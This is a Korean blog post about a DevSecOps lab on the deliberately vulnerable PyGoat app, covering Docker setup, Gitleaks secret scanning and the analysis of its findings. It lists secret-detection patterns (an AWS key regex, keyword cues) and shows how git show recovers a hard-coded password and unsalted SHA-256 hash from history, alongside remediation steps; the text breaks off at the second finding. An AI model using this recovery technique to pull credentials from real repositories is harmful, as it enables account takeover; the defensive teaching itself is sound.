      <title>PyGoat DevSecOps (1) - 1 [Code &amp;amp; Supply chain]</title>
      <link>https://taemin01.tistory.com/154</link>
      <description>&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;실습 목표&amp;nbsp;&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-list-type=&quot;disc&quot; data-path-to-node=&quot;8,1,1&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;Secret Scanning&lt;/b&gt;: &lt;i&gt;소스 코드 내 민감 정보(API Key, Password)&lt;/i&gt; 노출 차단&amp;nbsp; [&lt;span style=&quot;background-color: #f6e199;&quot;&gt;Gitleaks 이용&lt;/span&gt;]&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;SAST (Static Application Security Testing)&lt;/b&gt;: &lt;i&gt;코드 정적 분석&lt;/i&gt;을 통한 취약점 식별 [&lt;span style=&quot;background-color: #f6e199;&quot;&gt;SonarQube 이용&lt;/span&gt;]&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;SCA (Software Composition Analysis)&lt;/b&gt;: &lt;i&gt;오픈소스 라이브러리&lt;/i&gt; 취약점 및 라이선스 점검 [&lt;span style=&quot;background-color: #f6e199;&quot;&gt;snyk 이용&lt;/span&gt;]&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;SBOM (Software Bill of Materials)&lt;/b&gt;: 소프트웨어 구성 &lt;i&gt;명세서 생성 및 이미지 서명&lt;/i&gt; [&lt;span style=&quot;background-color: #f6e199;&quot;&gt;syft&amp;amp;cosing 이용]&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;실습&amp;nbsp;&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;1. PyGoat 설치 및 실행&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-1 PyGoat란&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PyGoat&lt;/b&gt;는 &lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;OWASP&lt;/span&gt; Top 10 취약점&lt;/b&gt;을 학습할 수 있도록 의도적으로 보안 결함이 주입된 Django 기반 웹 애플리케이션이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;i&gt;※ OWASP (Open Web Application Security Project) 에서 발표하는 웹 애플리케이션 보안 위협 리스트는 다음과 같다.&amp;nbsp;&lt;/i&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ebhX7O/dJMcaaE4WJW/Gd94nfOo7OvxgO03iGU4I0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ebhX7O/dJMcaaE4WJW/Gd94nfOo7OvxgO03iGU4I0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ebhX7O/dJMcaaE4WJW/Gd94nfOo7OvxgO03iGU4I0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FebhX7O%2FdJMcaaE4WJW%2FGd94nfOo7OvxgO03iGU4I0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;715&quot; data-origin-width=&quot;670&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7; background-color: #ffffff;&quot;&gt;&lt;b&gt;웹 애플리케이션이란&lt;/b&gt;&lt;/span&gt; 사용자와 상호작용하며 특정 기능을 수행하는 소프트웨어로 구성요소는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,1,0,0&quot;&gt;Frontend&lt;/b&gt;: 사용자가 보는 화면 (HTML/CSS/JS)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,1,1,0&quot;&gt;Backend&lt;/b&gt;: 데이터를 처리하는 로직 (PyGoat의 경우 Python/Django)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,1,2,0&quot;&gt;Database&lt;/b&gt;: 회원 정보 등이 저장되는 창고 (SQLite 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PyGoat를 실행하면 내 컴퓨터 안에 &lt;b&gt;가상의 웹 서버와 DB가 가동&lt;/b&gt;되어 브라우저를 통해 접속 가능한 상태가 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-2 PyGoat 실습 환경 구축 및 설치&amp;nbsp;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; Docker Desktop&lt;/b&gt; 설정: Windows 호스트와 WSL2 배포판(Ubuntu) 간의 &lt;b&gt;WSL Integration 활성화.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;레포지토리 클론&lt;/b&gt;:&lt;span style=&quot;background-color: #f6e199;&quot;&gt; git clone &lt;span style=&quot;color: #000000;&quot;&gt;&lt;a style=&quot;background-color: #f6e199; color: #000000;&quot; href=&quot;https://github.com/adeyosemanputra/pygoat.git&quot;&gt;https://github.com/adeyosemanputra/pygoat.git&lt;/a&gt; &lt;/span&gt;&lt;/span&gt;명령을 통한 소스 코드 복제.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;이미지 빌드&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;docker-compose build --no-cache &lt;/span&gt;명령으로 수정된 Dockerfile 기반 새 이미지 생성.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;서비스 가동&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;docker-compose up -d&lt;/span&gt;를 통해 백그라운드(Detached Mode)에서 웹 앱 및 DB 실행.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #f89009;&quot;&gt;Dockerfile 빌드 중 Debian(Buster) 저장소 만료(EOL)로 인한 404 Not Found 에러 식별&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; Dockerfile 수정으로 패키지 저장소 주소 변경 후 재빌드 및 실행&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;993&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dZZsIP/dJMcabjGLvP/A9YAvnscYjrvyZzVqkQ281/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dZZsIP/dJMcabjGLvP/A9YAvnscYjrvyZzVqkQ281/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dZZsIP/dJMcabjGLvP/A9YAvnscYjrvyZzVqkQ281/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdZZsIP%2FdJMcabjGLvP%2FA9YAvnscYjrvyZzVqkQ281%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;679&quot; height=&quot;207&quot; data-origin-width=&quot;993&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;2. Gitleaks 설치 및 Secret Scanning 수행&amp;nbsp;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1 Gitleaks 설치&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pygoat의 상위 폴더에 설치&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777112697081&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.2/gitleaks_8.18.2_linux_x64.tar.gz
tar -xvzf gitleaks_8.18.2_linux_x64.tar.gz
sudo mv gitleaks /usr/local/bin/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2&amp;nbsp; pygoat내에서 스캔 실행&amp;nbsp;&lt;/h4&gt;
&lt;pre id=&quot;code_1777112738963&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gitleaks detect --source . -v&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;detect (탐지모드)&lt;/b&gt;&lt;/span&gt; : Gitleaks의 모드 중 하나인 detect는 현재 폴더에 있는 파일, Git의 모든 과거 이력까지 보여준다.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;--source . (범위 지정)&lt;/b&gt; &lt;/span&gt;: 현재폴더 기준인 .으로 지정&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;-v (상세 로그)&lt;/b&gt; &lt;/span&gt;: 탐지된 유출 내용을 상세히 출력&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-3&amp;nbsp; Gitleaks 매커니즘&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;1. 정규 표현식 패턴 매칭 (Regex Matching)&amp;nbsp; : &lt;/span&gt;&lt;/b&gt;특정 서비스의 키가 지닌 고유한 형식을 찾아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;예시&lt;/b&gt;: AWS Access Key는 항상 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;AKIA&lt;/span&gt;로 시작하고 총 20자의 대문자와 숫자로 구성된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;작동 방식:&lt;/b&gt; Gitleaks는 내부에 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;^AKIA[0-9A-Z]{16}$&lt;/span&gt; 같은 규칙 지도를 가지고 있어서, 일치하는 모양을 찾아낸다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;탐지 대상&lt;/b&gt;: AWS 키, Stripe 키, Google API 키, 이메일 주소 등 형식적 특징이 뚜렷한 것들.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2. 엔트로피 분석 (Entropy Analysis)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;: 형식이 정해지지 않은 일반적인 비밀번호를 찾을 때 사용&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b data-path-to-node=&quot;8,0,0&quot; data-index-in-node=&quot;0&quot;&gt;원리&lt;/b&gt;: 문자열의 **'무작위성(복잡도)'**을 측정
&lt;ul style=&quot;list-style-type: disc; color: #353638;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&quot;apple&quot;은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;일상적인 단어라 엔트로피가 낮다.&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&quot;a1b2c3d4e5f6g7h8&quot;은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;무작위로 섞인 느낌이라 엔트로피가 높다&lt;/b&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b data-path-to-node=&quot;8,1,0&quot; data-index-in-node=&quot;0&quot;&gt;작동 방식&lt;/b&gt;: Gitleaks는 문자열이 일정 수준 이상의 엔트로피(Entropy Score)를 가지면 &quot;이건 사람이 기억하려고 만든 단어가 아니라, 기계가 생성한 비밀번호나 키일 확률이 높다&quot;고 판단한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;b data-path-to-node=&quot;8,2,0&quot; data-index-in-node=&quot;0&quot;&gt;탐지 대상&lt;/b&gt;: 하드코딩된 암호화 키, 랜덤 생성 토큰 등.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3. 키워드 및 문맥 탐지 (Keyword &amp;amp; Context) &lt;/b&gt;&lt;/span&gt;:주변 단어를 보고 힌트를 얻는다.&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;작동 방식&lt;/b&gt;: 단순히 무작위 문자열만 보는 게 아니라, 그 앞에 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;password&lt;/b&gt; =,&lt;/span&gt; &lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;api_key&lt;/b&gt;&lt;/span&gt;:&lt;/span&gt;, &lt;span style=&quot;background-color: #dddddd;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;token&lt;/b&gt;&lt;/span&gt;:&lt;/span&gt; 같은 단어가 붙어 있는지 확인합니다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;탐지 대상&lt;/b&gt;: 사용자가 직접 만든 변수명에 담긴 비밀번호. (예: &quot;password&quot;: &quot;jacktheripper&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4. Git 이력 추적 (History Scanning)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;16,0,0&quot;&gt;원리&lt;/b&gt;: 현재 눈에 보이는 파일만 보는 게 아니라, .&lt;b&gt;git 폴더 안에 저장된 **모든 과거 기록(Snapshots)**을 추적&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;16,1,0&quot;&gt;작동 방식&lt;/b&gt;: 1년 전 커밋에서 비밀번호를 올렸다가 5분 뒤에 지웠어도, Git의 타임머신 기록에는 남아있다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-4 결과 분석&amp;nbsp;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;RuleID&lt;/b&gt; : &lt;b&gt;탐지된 데이터의 종류와 성격을 정의&lt;/b&gt;하며&amp;nbsp; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;AWS 키니까 즉시 계정을 정지해야겠다&quot; 또는 &quot;일반 비번이니 코드 수정을 요청해야겠다&quot;와 같이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b data-path-to-node=&quot;4,2,0&quot; data-index-in-node=&quot;79&quot;&gt;대응 우선순위&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;를 결정하는 기준이&lt;span&gt; 된다.&amp;nbsp; &lt;/span&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;aws-access-token&lt;/span&gt;: AWS 서비스 접근 키 패턴에 걸림.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;generic-api-key:&lt;/span&gt; 특정 서비스는 아니지만 password 같은 단어와 복잡한 문자열 조합에 걸림.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Commit&lt;/b&gt; : 유출데이터가 포함된 과거의 특정 시점을 알 수 있다. 데이터가 삭제됐더라도 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;git show [commit ID]:[FilePath]&amp;nbsp;&lt;/b&gt;&lt;/span&gt;명령어를 통해 당시의 전체 소스 코드 복원이 가능하다. &lt;b data-index-in-node=&quot;29&quot; data-path-to-node=&quot;7,2,0&quot;&gt;Git 이력을 삭제(Purge)해야 할 시점&lt;/b&gt;&amp;nbsp;범위를 파악할 때 사용한다.&lt;b&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;FingerPrint&lt;/b&gt; : &lt;b&gt;여러 정보(커밋, 파일 경로, 규칙 ,라인번호)를 하나로 묶어 만든 고유 식별자&lt;/b&gt;이다. FingerPrint가 같으면 동일 사건으로 간주하여&lt;b&gt; 중복처리를 방지&lt;/b&gt;하고 오탐지이거나 테스트용일 경우 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;.gitleaksignore &lt;/span&gt;파일에 등록하여 &lt;b&gt;예외 처리&lt;/b&gt;할때 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;1)&amp;nbsp; Git 이력 내 Salt 미적용 SHA-256 해시값 노출&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;267&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/24rZl/dJMcagL42Ur/QKUmoVk0ACuZBRKgsUeY8K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/24rZl/dJMcagL42Ur/QKUmoVk0ACuZBRKgsUeY8K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/24rZl/dJMcagL42Ur/QKUmoVk0ACuZBRKgsUeY8K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F24rZl%2FdJMcagL42Ur%2FQKUmoVk0ACuZBRKgsUeY8K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;267&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;267&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;진단(Status):&lt;/b&gt; 과거 커밋에 &lt;b data-index-in-node=&quot;19&quot; data-path-to-node=&quot;3,0,0&quot;&gt;비밀번호가 포함된 파일&lt;/b&gt;이 삭제되지 않고 &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;3,0,0&quot;&gt;Git 역사 속에 잔존&lt;/b&gt;함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;위협(Threat):&lt;/b&gt; 해커가 &lt;b data-index-in-node=&quot;16&quot; data-path-to-node=&quot;3,1,0&quot;&gt;git checkout&lt;/b&gt; 명령어로 삭제된 파일을 복구해 &lt;b data-index-in-node=&quot;46&quot; data-path-to-node=&quot;3,1,0&quot;&gt;시스템 권한을 탈취&lt;/b&gt;할 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;git show&lt;/span&gt; 명령어를 통해 당시의 코드를 살펴보면 password가 하드코딩 되있는걸 볼 수 있다. 또한, salt가 없는 sha-256 해시 암호화 사용으로 레인보우 테이블을 통한 평문 탈취 가능성이 높다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJ6e0P/dJMb990u4yn/c1B2WSNy9WFNCqvVlODkE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJ6e0P/dJMb990u4yn/c1B2WSNy9WFNCqvVlODkE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJ6e0P/dJMb990u4yn/c1B2WSNy9WFNCqvVlODkE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJ6e0P%2FdJMb990u4yn%2Fc1B2WSNy9WFNCqvVlODkE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;832&quot; height=&quot;210&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-path-to-node=&quot;3,2,0&quot; data-index-in-node=&quot;0&quot;&gt;해결:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&amp;nbsp;유출된 비밀번호&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;3,2,0&quot; data-index-in-node=&quot;28&quot;&gt;즉시 변경&lt;/b&gt;(Key Rotation)&lt;/li&gt;
&lt;li&gt;Salt가 자동 포함되는&lt;b&gt; Argon2&lt;/b&gt; 혹은 &lt;b&gt;BCrypt&lt;/b&gt; 암호화 방식 선택&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;git filter-repo&lt;/span&gt;로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;3,2,0&quot; data-index-in-node=&quot;70&quot;&gt;Git 이력 자체를 영구 삭제&lt;/b&gt;(Purge).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;이후 비밀번호는 코드가 아닌&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;3,2,0&quot; data-index-in-node=&quot;115&quot;&gt;환경 변수&lt;/b&gt;로 관리.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2) 암호화 마스터 키(Encrpytion Key)의 노출&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;262&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caGirC/dJMcahYuDlK/2KyARSyC2uTV46J3ZaaaHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caGirC/dJMcahYuDlK/2KyARSyC2uTV46J3ZaaaHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caGirC/dJMcahYuDlK/2KyARSyC2uTV46J3ZaaaHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaGirC%2FdJMcahYuDlK%2F2KyARSyC2uTV46J3ZaaaHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;962&quot; height=&quot;262&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;262&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
